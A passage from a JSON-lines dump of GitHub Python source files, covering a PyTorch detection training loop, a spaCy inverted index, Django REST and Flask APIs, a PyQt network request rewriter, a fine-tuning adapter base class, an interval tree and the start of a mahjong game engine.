0\n correct_coor = 0\n with torch.no_grad():\n for data, target, bounding_box in test_loader:\n data = data.to(\"cuda\")\n outcol, outcoor = model(data)\n target = target.to(\"cuda\")\n bounding_box = bounding_box.to(\"cuda\")\n #critcol = torch.nn.BCEWithLogitsLoss(pos_weight=torch.add(torch.flatten(target), 1))\n critcol = torch.nn.BCEWithLogitsLoss()\n test_loss_col += critcol(torch.flatten(outcol), torch.flatten(target).float()).item()\n\n crit_coor = torch.nn.MSELoss()\n test_loss_coor += crit_coor(torch.flatten(outcoor), torch.flatten(bounding_box).float()).item()\n \n outcoor = torch.reshape(outcoor, (100, 9, 4))\n\n pred_coor = torch.abs(bounding_box - outcoor)\n \n vector_to_check = pred_coor[target == 1]\n print(vector_to_check[0])\n print((vector_to_check.max()).max())\n correct_coor += (vector_to_check.sum(dim=1)).sum().item()\n \n pred_col = torch.sigmoid(outcol) > 0.5 # get the index of the max log-probability\n correct_col += pred_col.eq(target).sum().item()\n \n correct_col /= 9.0\n correct_coor /= (12*4200)\n test_loss_col /= len(test_loader.dataset)\n\n print('\\nTest set: Average color loss: {:.4f}, Average coor. loss: {:.4f}'.format(test_loss_col, correct_col))\n print('Accuracy col: {}/{} ({:.0f}%)'.format(correct_col, len(test_loader.dataset), 100.0 * correct_col / len(test_loader.dataset)))\n print('Accuracy coor: {}/{} ({:.0f}%)\\n'.format(correct_coor, len(test_loader.dataset), 100.0 * correct_coor / len(test_loader.dataset)))\n\n\ndef main():\n torch.seed()\n\n dataset_train = Balls_CF_Detection(\"data\\\\train\\\\train\\\\\")\n dataset_test = Balls_CF_Detection(\"data\\\\train\\\\val\\\\\")\n\n train_loader = torch.utils.data.DataLoader(dataset_train, batch_size=batch_size, shuffle=True)\n test_loader = torch.utils.data.DataLoader(dataset_test, batch_size=test_batch_size)\n\n model = Net().to(\"cuda\")\n optimizer = optim.Adam(model.parameters(), lr=0.0025)\n\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=1)\n for epoch in range(1, epochs):\n train(model, train_loader, optimizer, epoch)\n test(model, test_loader)\n scheduler.step()\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"DelileHugo/OT1_DeepLearning","sub_path":"net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38759339129","text":"# Import Libraries and Modules here...\n# Written by Pratik Sharma\n# z5199295\n\nfrom spacy import load\nfrom itertools import permutations\nfrom math import log\n\n\nclass InvertedIndex:\n def __init__(self):\n # You should use these variable to store the term frequencies for tokens and entities...\n self.tf_tokens = {}\n self.tf_entities = {}\n\n # You should use these variable to store the inverse document frequencies for tokens and entities...\n self.idf_tokens = {}\n self.idf_entities = {}\n\n # Your implementation for indexing the documents...\n def index_documents(self, documents):\n nlp = load(\"en_core_web_sm\")\n\n for key in documents.keys():\n doc = nlp(documents[key])\n\n for entity in doc.ents:\n if entity.text not in self.tf_entities:\n self.tf_entities[entity.text] = {key: documents[key].count(entity.text)}\n else:\n self.tf_entities[entity.text].update({key: documents[key].count(entity.text)})\n\n for token in doc:\n if token.text in self.tf_entities:\n continue\n if not token.is_stop and not token.is_punct:\n if token.text not in self.tf_tokens:\n self.tf_tokens[token.text] = {key: documents[key].count(token.text)}\n else:\n self.tf_tokens[token.text].update({key: documents[key].count(token.text)})\n\n num_of_docs = len(documents)\n\n for token in self.tf_tokens:\n self.idf_tokens[token] = 1.0 + log(num_of_docs / (1.0 + len(self.tf_tokens[token])))\n\n for entity in self.tf_entities:\n self.idf_entities[entity] = 1.0 + log(num_of_docs / (1.0 + len(self.tf_entities[entity])))\n\n # Your implementation to split the query to tokens and entities...\n def split_query(self, Q, DoE):\n\n query_splits = {1: {'tokens': Q.split(' '), 'entities': []}}\n\n key = 1\n entities = []\n for i in range(1, (len(DoE) + 1)):\n entities += list(permutations(DoE, i))\n # print(entities)\n\n query = Q\n skip = False\n\n for entity in entities:\n t = []\n for word in entity:\n for w in word.split(' '):\n if w in query:\n query = query[query.index(w) + len(w) + 1:]\n t.append(w)\n else:\n skip = True\n break\n if skip:\n break\n if not skip:\n ent = [x for x in entity]\n tok = query_splits[1]['tokens'].copy()\n for x in t:\n tok.remove(x)\n query_splits.update({len(query_splits) + 1: {'tokens': tok,\n \"entities\": ent\n }\n })\n query = Q\n skip = False\n\n return query_splits\n\n # Your implementation to return the max score among all the query splits...\n def max_score_query(self, query_splits, doc_id):\n max_score = 0\n id = 0\n for key, splits in query_splits.items():\n si1 = 0.0\n si2 = 0.0\n for entity in splits['entities']:\n if entity in self.tf_entities and entity in self.idf_entities and doc_id in self.tf_entities[entity]:\n si1 += (1.0 + log(self.tf_entities[entity][doc_id])) * self.idf_entities[entity]\n\n for token in splits['tokens']:\n if token in self.tf_tokens and token in self.idf_tokens and doc_id in self.tf_tokens[token]:\n si2 += (1.0 + log(1.0 + log(self.tf_tokens[token][doc_id]))) * self.idf_tokens[token]\n\n combined_score = si1 + (0.4 * si2)\n if combined_score > max_score:\n max_score = combined_score\n id = key\n\n return (max_score, query_splits[id])\n # Output should be a tuple (max_score, {'tokens': [...], 'entities': [...]})\n\n\n# print(\"index.tf_tokens:\")\n# print(index.tf_tokens)\n#\n# print(\"\\n index.tf_entities:\")\n# print(index.tf_entities)\n\n\n# Test Case 1 (Toy Example)\ndocuments = {1: 'President Trump was on his way to new New York in New York City.',\n 2: 'New York Times mentioned an interesting story about Trump.',\n 3: 'I think it would be great if I can travel to New York this summer to see Trump.'}\nindex = InvertedIndex()\nindex.index_documents(documents)\nQ = 'New York Times Trump travel'\nDoE = {'New York Times': 0, 'New York': 1, 'New York City': 2}\nquery_splits = index.split_query(Q, DoE)\ndoc_id = 3\n\n# Test Case 2 (Test Case-1)\ndocuments = {\n 1: 'According to Times of India, President Donald Trump was on his way to New York City after his address at UNGA.',\n 2: 'The New York Times mentioned an interesting story about Trump.',\n 3: 'I think it would be great if I can travel to New York this summer to see Trump.'}\nindex = InvertedIndex()\nindex.index_documents(documents)\nQ = 'The New New York City Times of India'\nDoE = {'Times of India': 0, 'The New York Times': 1, 'New York City': 2}\nquery_splits = index.split_query(Q, DoE)\ndoc_id = 1\n\n# Test Case 3 (Test Case-2)\n# documents = {1: 'According to Los Angeles Times, The Boston Globe will be experiencing another recession in 2020.\n# However, The Boston Globe decales it a hoax.',\n# 2: 'The Washington Post declines the shares of George Washington.',\n# 3: 'According to Los Angeles Times, the UNSW COMP6714 students should be able\n# to finish project part-1 now.'}\n# index = InvertedIndex()\n# index.index_documents(documents)\n# Q = 'Los The Angeles Boston Times Globe Washington Post'\n# DoE = {'Los Angeles Times':0, 'The Boston Globe':1,'The Washington Post':2, 'Star Tribune':3}\n# query_splits = index.split_query(Q, DoE)\n# doc_id = 1\n\n\n# Test Case 4\n# documents = {1:'President Trump was on his way to new New York in New York City.',\n# 2:'New York Times mentioned an interesting story about Trump.',\n# 3:'I think it would be great if I can travel to New York this summer to see Trump.'}\n# index = InvertedIndex()\n# index.index_documents(documents)\n# Q = 'The New New York City The Times of India'\n# DoE = {'The Times of India':0, 'The New York Times':1,'New York City':2, 'The New':3}\n# query_splits = index.split_query(Q, DoE)\n# doc_id=3\n\n\nresult = index.max_score_query(query_splits, doc_id)\nprint('The maximum score:')\nprint(result)\n","repo_name":"iamrishap/PythonBits","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":6669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7947508940","text":"#!/usr/bin/python3\r\n# Prototype: def uppercase(str):\r\n# Only use no more than 2 print functions with string format\r\n# Only use one loop in your code\r\n# Not allowed to import any module\r\n# Not allowed to use str.upper() and str.isupper()\r\n\r\ndef uppercase(str):\r\n for chu in str:\r\n if ord(chu) >= 97 and ord(chu) <= 122:\r\n chu = chr(ord(chu) - 32)\r\n print(\"{}\".format(chu), end=\"\")\r\n","repo_name":"ElvisMw/alx-higher_level_programming","sub_path":"0x01-python-if_else_loops_functions/8-uppercase.py","file_name":"8-uppercase.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29633349948","text":"# -*- coding: utf-8 -*-\n\nimport logging\nfrom launcher import app\n\nfrom PyQt5.QtCore import QUrlQuery\nfrom PyQt5.QtNetwork import QNetworkAccessManager, QNetworkDiskCache\n\nimport os\n\n\ndef forLocalDeviceOnly(func):\n def wrapper(SELF, request):\n # Looking for Pid in query string, try matching with locally bound peerid\n localPeerId = app.adapterManager[0].peerId\n if not localPeerId:\n return request\n\n urlQuery = QUrlQuery(request.url())\n queryItems = dict(urlQuery.queryItems())\n if queryItems.get(\"pid\", None) != localPeerId:\n return request\n return func(SELF, request)\n return wrapper\n\n\nclass CustomNetworkAccessManager(QNetworkAccessManager):\n def __init__(self, parent = None):\n super().__init__(parent)\n # set cache\n self._cachePath = QNetworkDiskCache(self)\n cacheLocation = app.settings.myGet(\"legacy\", \"cachelocation\")\n self._cachePath.setCacheDirectory(cacheLocation)\n self._cachePath.setMaximumCacheSize(20 * 1024 * 1024) # 20M\n self.setCache(self._cachePath)\n\n def createRequest(self, op, request, device = None):\n qurl = request.url()\n if qurl.host() == \"homecloud.yuancheng.xunlei.com\":\n path = qurl.fileName()\n preprocessor = self.getPreprocessorFor(path)\n if preprocessor:\n request = preprocessor(request)\n\n return super().createRequest(op, request, device)\n\n def getPreprocessorFor(self, path):\n return getattr(self, \"_preprocess_request_{}\".format(path), None)\n\n @staticmethod\n def _redirectToLocal(request):\n qurl = request.url()\n adapter = app.adapterManager[0]\n host = adapter._xwareClient._options.get(\"host\", \"127.0.0.1\")\n port = int(adapter._xwareClient._options.get(\"port\", 9000))\n qurl.setHost(host)\n qurl.setPort(port)\n request.setUrl(qurl)\n return request\n\n @staticmethod\n def _preprocess_request_bind(request):\n # set boxName when binding the device to hostname\n\n urlQuery = QUrlQuery(request.url())\n queryItems = urlQuery.queryItems()\n\n for i, item in enumerate(queryItems):\n if item[0] == \"boxName\":\n queryItems[i] = (\"boxName\", os.uname().nodename)\n queryItems.append((\"ct\", \"0\"),) # Issue #109, Xunlei bind API changed\n urlQuery.setQueryItems(queryItems)\n\n # write changes back to request\n qurl = request.url()\n qurl.setQuery(urlQuery)\n request.setUrl(qurl)\n\n return request\n\n @forLocalDeviceOnly\n def _preprocess_request_boxSpace(self, request):\n request = self._redirectToLocal(request)\n return request\n","repo_name":"Xinkai/XwareDesktop","sub_path":"src/frontend/legacy/CustomWebView/CNetworkAccessManager.py","file_name":"CNetworkAccessManager.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":907,"dataset":"github-code","pt":"32"} +{"seq_id":"10324898659","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .models import Productso\nfrom .serializers import ProductsoSerializers\n\n@api_view(['GET', 'POST'])\ndef item_list(request):\n if request.method == 'GET':\n items = Productso.objects.all()\n serializer = ProductsoSerializers(items, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n products_data = request.data.get('products', []) # Retrieve the array of products (default to empty list)\n serializer = ProductsoSerializers(data=products_data, many=True) # Serialize multiple products\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=201)\n return Response(serializer.errors, status=400)\n \n\n\n\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef item_detail(request, pk):\n try:\n item = Productso.objects.get(id=pk)\n except Productso.DoesNotExist:\n return Response({\"error\": \"Item not found\"}, status=404)\n\n if request.method == 'GET':\n serializer = ProductsoSerializers(item)\n return Response(serializer.data)\n\n elif request.method == 'PUT':\n serializer = ProductsoSerializers(item, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n item.delete()\n return Response(status=204)\n","repo_name":"TrishaSabrina/SALES1","sub_path":"backend/sales_order/productso/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29359994840","text":"# -*- coding: utf-8 -*-\r\n# @Author : ssbuild\r\n# @Time : 2023/8/22 9:17\r\nimport logging\r\nfrom abc import ABC, abstractmethod\r\nfrom typing import Union, Any, Dict, AnyStr, List\r\nfrom torch import nn\r\n\r\nfrom .config.petl import PetlConfig\r\nfrom ..transformer_base import TransformerBase\r\nfrom ...layers.petl.utils import _get_submodules, prepare_model_for_kbit_training, ModulesToSaveWrapper\r\nfrom ...layers.petl.petl_layer import PetlLayerBase\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\nclass PetlModelBase(nn.Module, ABC):\r\n r\"\"\"\r\n A base tuner model that provides the common methods and attributes for all tuners that are injectable into a\r\n torch.nn.Module\r\n\r\n For adding a new Tuner class, one needs to overwrite the following methods:\r\n\r\n - **_prepare_adapter_config**:\r\n A private method to eventually prepare the adapter config, for example in case the field `target_modules` is\r\n missing.\r\n - **_check_target_module_exists**:\r\n A helper private method to check if the passed module's key name matches any of the target modules in the\r\n adatper_config.\r\n - **_create_and_replace**:\r\n A private method to create and replace the target module with the adapter module.\r\n - **_check_target_module_exists**:\r\n A private helper method to check if the passed module's key name matches any of the target modules in the\r\n adatper_config.\r\n\r\n The easiest is to check what is done in the `peft.tuners.lora.LoraModel` class.\r\n\r\n Attributes:\r\n model (`torch.nn.Module`):\r\n The model to which the adapter tuner layers will be attached.\r\n forward (`Callable`):\r\n The forward method of the model.\r\n petl_config (`Union[`PetlConfig`, dict[str, EffiConfig]]`):\r\n The adapter configuration object, it should be a dictionary of `str` to `EffiConfig` objects. One can also\r\n pass a EffiConfig object and a new adapter will be created with the default name `adapter` or create a new\r\n dictionary with a key `adapter_name` and a value of that peft config.\r\n config (`dict[str, Any]`):\r\n The model configuration object, it should be a dictionary of `str` to `Any` objects.\r\n \"\"\"\r\n\r\n def __init__(self, model, petl_config: Union[PetlConfig, Dict[AnyStr, PetlConfig]], adapter_name: AnyStr,\r\n gradient_checkpointing=False,\r\n gradient_checkpointing_kwargs=None,\r\n **kwargs) -> None:\r\n super().__init__()\r\n\r\n self.gradient_checkpointing = gradient_checkpointing\r\n self.gradient_checkpointing_kwargs = gradient_checkpointing_kwargs\r\n self.model = model\r\n\r\n # For advanced developpers, if you want to attach multiple adapters to your\r\n # model, just add a `petl_config` dict attribute to your model.\r\n if not hasattr(self, \"petl_config\"):\r\n self.petl_config = {adapter_name: petl_config} if isinstance(petl_config, PetlConfig) else petl_config\r\n else:\r\n logger.info(\r\n \"Already found a `petl_config` attribute in the model. This will lead to having multiple adapters\"\r\n \" in the model. Make sure to know what you are doing!\"\r\n )\r\n if isinstance(petl_config, PetlConfig):\r\n self.petl_config[adapter_name] = petl_config\r\n else:\r\n # user is adding a dict of EffiConfigs\r\n self.petl_config.update(petl_config)\r\n\r\n self.active_adapter = adapter_name\r\n\r\n # transformers models have a .config attribute, whose presence is assumed later on\r\n if not hasattr(self, \"config\"):\r\n self.config = {\"model_type\": \"custom\"}\r\n\r\n self.inject_adapter(self.model, adapter_name)\r\n\r\n # Copy the petl_config in the injected model.\r\n self.model.petl_config = self.petl_config\r\n\r\n def get_transformer_model(self):\r\n return self.model.model if isinstance(self.model, TransformerBase) else self.model\r\n\r\n @property\r\n def active_adapters(self) -> List[str ]:\r\n if isinstance(self.active_adapter, str):\r\n return [self.active_adapter]\r\n # is already a list of str\r\n return self.active_adapter\r\n\r\n def forward(self, *args: Any, **kwargs: Any):\r\n return self.model.forward(*args, **kwargs)\r\n\r\n\r\n @abstractmethod\r\n def _prepare_adapter_config(self, petl_config: PetlConfig, model_config: dict) -> PetlConfig:\r\n r\"\"\"\r\n A private method to eventually prepare the adapter config. For transformers based models, if\r\n `petl_config.target_modules` is None, we can automatically infer the target modules from the\r\n `TRANSFORMERS_MODELS_TO_XXX_TARGET_MODULES_MAPPING`. This method can be further refactored in the future to\r\n automatically infer it for all tuner models.\r\n\r\n Check out `peft.tuner.lora.LoraModel._prepare_adapter_config` for an example.\r\n\r\n Args:\r\n petl_config (`str`):\r\n The adapter config.\r\n model_config (`str`):\r\n The transformers model config, that config should contain the `model_type` key.\r\n \"\"\"\r\n ...\r\n\r\n @staticmethod\r\n @abstractmethod\r\n def _check_target_module_exists(petl_config: PetlConfig, key: str) -> bool:\r\n r\"\"\"\r\n A helper private method to check if the passed module's key name matches any of the target modules in the\r\n `petl_config.target_modules` list. If it does, return `True`, else return `False`.\r\n\r\n Args:\r\n petl_config (`PetlConfig`):\r\n The adapter config.\r\n key (`str`):\r\n The module's key name.\r\n \"\"\"\r\n ...\r\n\r\n @abstractmethod\r\n def _create_and_replace(\r\n self,\r\n petl_config: PetlConfig,\r\n adapter_name: str,\r\n target: nn.Module,\r\n target_name: str,\r\n parent: nn.Module,\r\n **optionnal_kwargs: Any,\r\n ) -> None:\r\n r\"\"\"\r\n Inplace replacement of the target module with the adapter layer. This method needs to be overriden by all the\r\n tuner classes.\r\n\r\n Check `peft.tuners.lora.LoraModel._create_and_replace` for an example.\r\n\r\n Args:\r\n petl_config (`PetlConfig`):\r\n The adapter config.\r\n adapter_name (`str`):\r\n The adapter name.\r\n target (`nn.Module`):\r\n The target module.\r\n target_name (`str`):\r\n The target module's name.\r\n parent (`nn.Module`):\r\n The parent module.\r\n **optionnal_kwargs (`dict`):\r\n The optional keyword arguments to pass to deal with particular cases (e.g. 8bit, 4bit quantization)\r\n \"\"\"\r\n ...\r\n\r\n @abstractmethod\r\n def _mark_only_adapters_as_trainable(self):\r\n r\"\"\"\r\n A helper method to mark only the adapter layers as trainable (i.e. module.requires_grad = False) This needs to\r\n be overriden for all tuner classes to match the correct key names.\r\n\r\n Check `peft.tuners.lora.LoraModel._mark_only_adapters_as_trainable` for an example.\r\n \"\"\"\r\n ...\r\n\r\n def _check_new_adapter_config(self, config: PetlConfig) -> None:\r\n \"\"\"\r\n A helper method to check the config when a new adapter is being added.\r\n\r\n Raise a ValueError if there is something wrong with the config or if it conflicts with existing adapters.\r\n\r\n \"\"\"\r\n pass\r\n\r\n def inject_adapter(self, model: nn.Module, adapter_name: str):\r\n r\"\"\"\r\n Creates adapter layers and replaces the target modules with the adapter layers. This method is called under the\r\n hood by `peft.mapping.get_peft_model` if a non-prompt tuning adapter class is passed.\r\n\r\n The corresponding PEFT config is directly retrieved from the `petl_config` attribute of the BaseTuner class.\r\n\r\n Args:\r\n model (`nn.Module`):\r\n The model to be tuned.\r\n adapter_name (`str`):\r\n The adapter name.\r\n \"\"\"\r\n transformer_model = self.get_transformer_model()\r\n\r\n\r\n loaded_in_4bit = getattr(transformer_model, \"is_loaded_in_4bit\", False)\r\n loaded_in_8bit = getattr(transformer_model, \"is_loaded_in_8bit\", False)\r\n\r\n if self.gradient_checkpointing and (loaded_in_4bit or loaded_in_8bit):\r\n prepare_model_for_kbit_training(self.model,\r\n gradient_checkpointing=self.gradient_checkpointing,\r\n gradient_checkpointing_kwargs=self.gradient_checkpointing_kwargs)\r\n\r\n petl_config = self.petl_config[adapter_name]\r\n # Note: If possible, all checks should be performed *at the start of this method*.\r\n # This way, we can raise early if something goes wrong, without leaving the model\r\n # in a bad (half-initialized) state.\r\n self._check_new_adapter_config(petl_config)\r\n\r\n is_target_modules_in_base_model = False\r\n key_list = [key for key, _ in model.named_modules()]\r\n\r\n _check_for_modules_to_save = getattr(petl_config, \"modules_to_save\", None) is not None\r\n _has_modules_to_save = False\r\n\r\n model_config = getattr(model, \"config\", {\"model_type\": \"custom\"})\r\n if hasattr(model_config, \"to_dict\"):\r\n model_config = model_config.to_dict()\r\n\r\n petl_config = self._prepare_adapter_config(petl_config, model_config)\r\n\r\n for key in key_list:\r\n # Check for modules_to_save in case\r\n if _check_for_modules_to_save and any(\r\n key.endswith(f\"{module_to_save}\") for module_to_save in petl_config.modules_to_save\r\n ):\r\n # Optionally set the modules to save\r\n parent, target, target_name = _get_submodules(model, key)\r\n\r\n if not isinstance(target, ModulesToSaveWrapper):\r\n new_module = ModulesToSaveWrapper(target, adapter_name)\r\n setattr(parent, target_name, new_module)\r\n else:\r\n target.update(adapter_name)\r\n\r\n _has_modules_to_save = True\r\n continue\r\n\r\n if not self._check_target_module_exists(petl_config, key):\r\n continue\r\n\r\n is_target_modules_in_base_model = True\r\n parent, target, target_name = _get_submodules(model, key)\r\n\r\n optional_kwargs = {\r\n \"loaded_in_8bit\": loaded_in_8bit,\r\n \"loaded_in_4bit\": loaded_in_4bit,\r\n \"current_key\": key,\r\n }\r\n self._create_and_replace(petl_config, adapter_name, target, target_name, parent, **optional_kwargs)\r\n\r\n if not is_target_modules_in_base_model:\r\n raise ValueError(\r\n f\"Target modules {petl_config.target_modules} not found in the base model. \"\r\n f\"Please check the target modules and try again.\"\r\n )\r\n\r\n self._mark_only_adapters_as_trainable()\r\n\r\n if self.petl_config[adapter_name].inference_mode:\r\n for n, p in self.model.named_parameters():\r\n if adapter_name in n:\r\n p.requires_grad = False\r\n\r\n if _has_modules_to_save:\r\n if not hasattr(model, \"modules_to_save\"):\r\n model.modules_to_save = set(petl_config.modules_to_save)\r\n else:\r\n model.modules_to_save.update(set(petl_config.modules_to_save))\r\n \r\n def merge_adapter(self):\r\n \"\"\"\r\n This method merges the LoRa layers into the base model.\r\n \"\"\"\r\n for module in self.model.modules():\r\n if isinstance(module, PetlLayerBase):\r\n module.merge()\r\n\r\n def unmerge_adapter(self):\r\n \"\"\"\r\n This method unmerges the LoRa layers from the base model.\r\n \"\"\"\r\n for module in self.model.modules():\r\n if isinstance(module, PetlLayerBase):\r\n module.unmerge()\r\n","repo_name":"ssbuild/deep_training","sub_path":"src/deep_training/nlp/models/petl/petl_model_base.py","file_name":"petl_model_base.py","file_ext":"py","file_size_in_byte":12092,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"32"} +{"seq_id":"37488327668","text":"from flask import Flask, jsonify\nfrom flask_cors import CORS\nimport os\nfrom joblib import dump, load\n\nmodel_path = \"models/\"\n\ntitle_models = load(model_path + 'top50_title_RidgeC_baseline.joblib')\nbody_models = load(model_path + 'top50_body_RidgeC_baseline.joblib')\ntitle_vectorizer = load(model_path + 'top50_title_vectorizer.joblib')\nbody_vectorizer = load(model_path + 'top50_body_vectorizer.joblib')\n\n\nret = {\n\t\"tags\": [\n\t\t\"tag1\",\n\t\t\"tag2\",\n\t\t\"tag3\"\n\t]\n}\n\napp = Flask(__name__)\n# CORS(app)\n@app.route('/flask/predict/', methods=['GET'])\ndef predict(str_predict):\n\ttv_title = title_vectorizer.transform([str_predict])\n\ttv_body = body_vectorizer.transform([str_predict])\n\tret = {\"tags\": []}\n\tfor k in title_models.keys():\n\t\tif(title_models[k].predict(tv_title)>0):\n\t\t\tret['tags'] = ret['tags'] + [k]\n\treturn jsonify(ret)\n\n@app.route('/flask/models/', methods=['GET'])\ndef get_models():\n\treturn jsonify({\n\t\t'title': [(k,title_models[k].alpha) for k in title_models.keys()],\n\t\t'body': [(k,body_models[k].alpha) for k in body_models.keys()],\n\t})\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"st4rsend/ml","sub_path":"ml-python/ml_20210501.py","file_name":"ml_20210501.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29570258689","text":"import sys\n\n\nclass Segment(object):\n def __init__(self, s, e):\n self.start = s\n self.end = e\n\n def __str__(self):\n return \"start:{0} end:{1}\".format(self.start, self.end)\n\n\nclass Node(object):\n def __init__(self, x_mid):\n self.x_mid = x_mid\n self.lc = None\n self.rc = None\n self.d_left = None\n self.d_right = None\n\n\ndef construct_intervaltree(segments):\n if segments is None or len(segments) == 0:\n return None\n\n x = []\n for s in segments:\n x.append(s.start)\n x.append(s.end)\n\n x.sort()\n x_mid = x[len(x)//2]\n\n i_left = []\n i_right = []\n i_mid = []\n for seg in segments:\n if seg.start < x_mid and seg.end < x_mid:\n i_left.append(seg)\n elif x_mid < seg.start and x_mid < seg.end:\n i_right.append(seg)\n else:\n i_mid.append(seg)\n\n v = Node(x_mid)\n v.lc = construct_intervaltree(i_left)\n v.rc = construct_intervaltree(i_right)\n v.d_left = sorted(i_mid, key=lambda x: x.start)\n v.d_right = sorted(i_mid, key=lambda x: x.end, reverse=True)\n\n return v\n\n\ndef containing_intervals(v, qx):\n if v is None:\n return None\n\n c_intervals = []\n if qx < v.x_mid:\n for i in range(len(v.d_left)):\n it = v.d_left[i]\n if qx < it.start:\n break\n\n if it.start <= qx <= it.end:\n c_intervals.append(it)\n\n inter = containing_intervals(v.lc, qx)\n if inter is not None:\n c_intervals.extend(inter)\n else:\n for i in range(len(v.d_right)):\n it = v.d_right[i]\n if it.end < qx:\n break\n if it.start <= qx <= it.end:\n c_intervals.append(it)\n\n inter = containing_intervals(v.rc, qx)\n if inter is not None:\n c_intervals.extend(inter)\n\n return c_intervals\n\n\ndef intervals(starts, ends):\n n = len(starts)\n segments = []\n for i in range(n):\n segments.append(Segment(starts[i], ends[i]))\n\n return segments\n\n\nif __name__ == '__main__':\n # input = sys.stdin.read()\n # data = list(map(int, input.split()))\n # n = len(data)\n # starts = data[0:n:2]\n # ends = data[1:n:2]\n\n starts = [1, 2, 0, 8, 9, 10]\n ends = [11, 9, 6, 9, 10, 11]\n\n # construct segments\n S = intervals(starts, ends)\n\n # display segments\n for seg in S:\n print(seg)\n\n # construct tree\n it = construct_intervaltree(S)\n\n for pt in [4]:\n pt_intvs = []\n pt_intvs.extend(containing_intervals(it, pt))\n for pt_int in pt_intvs:\n print(pt_int)\n","repo_name":"abgoswam/Algorithmic-Toolbox-Coursera","sub_path":"interval_trees.py","file_name":"interval_trees.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7720940914","text":"from nwidget.layout import *\nimport nwidget\n\n\n# Widgets\nclass Sample2(LayoutBase):\n \"\"\" Example UI \"\"\"\n\n def __init__(self):\n super(Sample2, self).__init__()\n\n def widgets(self, helper):\n \"\"\" Create widgets \"\"\"\n\n helper.scope(globals())\n\n # Widgets\n widget(\n theme.button(),\n left = (RIGHT, -40, MM),\n bottom = (TOP, -20, MM),\n right = RIGHT,\n top = TOP,\n on_click = \"TURN_OFF_OWN_DEBUG\",\n text = \"Turn debug off on parent\"\n )\n\n widget(\n theme.button(),\n left = LEFT,\n bottom = (TOP, -20, MM),\n right = (LEFT, 40, MM),\n top = TOP,\n on_click = \"TURN_OFF_CHILD_DEBUG\",\n text = \"Turn debug on child off\"\n )\n\n self.LAYOUT = widget(\n nwidget.Layout(window, theme, assets, assets.resolve(\"sample1.py\")),\n left = (LEFT, 50, PX),\n bottom = (BOTTOM, 50, PX),\n right = (RIGHT, -50, PX),\n top = (TOP, -50, PX)\n )\n\n # Turn on debugging\n self.LAYOUT.watch()\n self.LAYOUT.show_edges(True)\n self.LAYOUT.show_bounds(True)\n\n def sync(self, data):\n \"\"\" Sync widget state to data elements \"\"\"\n if data[\"updated\"] and data[\"turn_off\"]:\n self.LAYOUT.show_edges(False)\n self.LAYOUT.show_bounds(False)\n self.LAYOUT.model = data\n\n\n# Instance\nlayout = Sample2()\n","repo_name":"shadowmint/nwidget","sub_path":"tests/layout/ui/sample2.py","file_name":"sample2.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"32"} +{"seq_id":"70330989850","text":"'''\nFile: mahjong.py\nAuthor: Kunologist\nDescription:\n The backend of the mahjong game.\n'''\n\nfrom env.deck import Deck, Wall\nfrom env.ruleset import Ruleset\nfrom env.player import Player\nfrom env.action import Action\nfrom env.tiles import Tile\nfrom env.utils import get_value\nimport random\nimport pickle\nimport random\nimport os\n\nclass MahjongRuleError(Exception):\n \n def __init__(self, message, world_state):\n self.message = message\n self.world_state = world_state\n\n def __str__(self):\n # Create a random 4-letter code for the error\n error_id = ''.join(random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz') for _ in range(5))\n # Dump the world state to a pickle file\n os.makedirs('errors_log', exist_ok=True)\n with open('error_log/' + error_id + '.pkl', 'wb') as f:\n pickle.dump(self.world_state, f)\n return \"MahjongRuleError: {}\\nError ID: {} (state dumped to error_log/{}.pkl)\".format(self.message, error_id, error_id)\n\nclass MahjongEndGame(Exception):\n \n def __init__(self, message):\n self.message = message\n \n def __str__(self):\n return \"MahjongEndGame: {}\".format(self.message)\n\ndef get_tiles_from_call(call_str: str) -> Tile:\n '''\n Function: get_tiles_from_call\n\n ## Description\n\n Returns the tiles corresponding to the call string. All tiles will\n be found and returned in a list.\n\n ## Parameters\n\n - `call_str`: `str`\n The call string.\n\n ## Returns\n\n A list of `Tile`s.\n '''\n tiles = []\n # Only keep numeric characters\n call_str = ''.join(filter(str.isdigit, call_str))\n # Two digits is a tile, separate the string\n call_str_pairs = [call_str[i:i+2] for i in range(0, len(call_str), 2)]\n # Transform the string pairs into tiles\n for pair in call_str_pairs:\n tiles.append(Tile(int(pair)))\n return tiles\n\nclass MahjongGame():\n '''\n Class: MahjongGame\n\n ## Description\n \n A class that represents a player that can play the game of mahjong.\n '''\n def __init__(self, ruleset: Ruleset, **kwargs):\n '''\n Constructor: __init__\n\n ## Description\n \n The constructor of the MahjongGame class.\n\n ## Parameters\n \n - `ruleset`: `Ruleset`\n The ruleset of the game.\n - `kwargs`:\n The keyword arguments. Accepts the following:\n - `wall`: `Wall` or `str` 